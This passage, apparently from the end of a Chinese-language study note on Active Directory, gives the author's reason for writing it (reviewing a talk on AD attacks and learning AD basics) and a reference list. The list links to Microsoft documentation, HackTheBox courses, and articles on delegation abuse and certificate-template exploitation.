在幹嘛、剛才那些攻擊是在做甚麼,發現我不懂,所以這篇除了讓我再去複習這場演講,也讓我好好學習 AD 的基本知識。 下圖在修補時很重要所以留著。 ![image](https://hackmd.io/_uploads/Bke361V8yl.png) --> ## 參考 - [AD DS 簡介](https://learn.microsoft.com/zh-tw/training/modules/introduction-to-ad-ds/) - [AD DS 網域服務](https://learn.microsoft.com/zh-tw/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview) - [Introduction of Active Directory Domain Services](https://www.geeksforgeeks.org/introduction-of-active-directory-domain-services/) - [實作和管理 Active Directory 憑證服務](https://learn.microsoft.com/zh-tw/training/modules/implement-manage-active-directory-certificate-services/) - [HackTheBox introduction-to-active-directory](https://academy.hackthebox.com/course/preview/introduction-to-active-directory) - [HackTheBox active-directory-enumeration--attacks](https://academy.hackthebox.com/course/preview/active-directory-enumeration--attacks) - [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://eladshamir.com/2019/01/28/Wagging-the-Dog.html) - [AD_attack_defend_cheatshee](https://github.com/idnahacks/AD_attack_defend_cheatsheet/blob/main/README.md) - [安全性識別碼](https://learn.microsoft.com/zh-tw/windows-server/identity/ad-ds/manage/understand-security-identifiers) - [exploiting-misconfigured-active-directory-certificate-template-esc1](https://redfoxsec.com/blog/exploiting-misconfigured-active-directory-certificate-template-esc1/)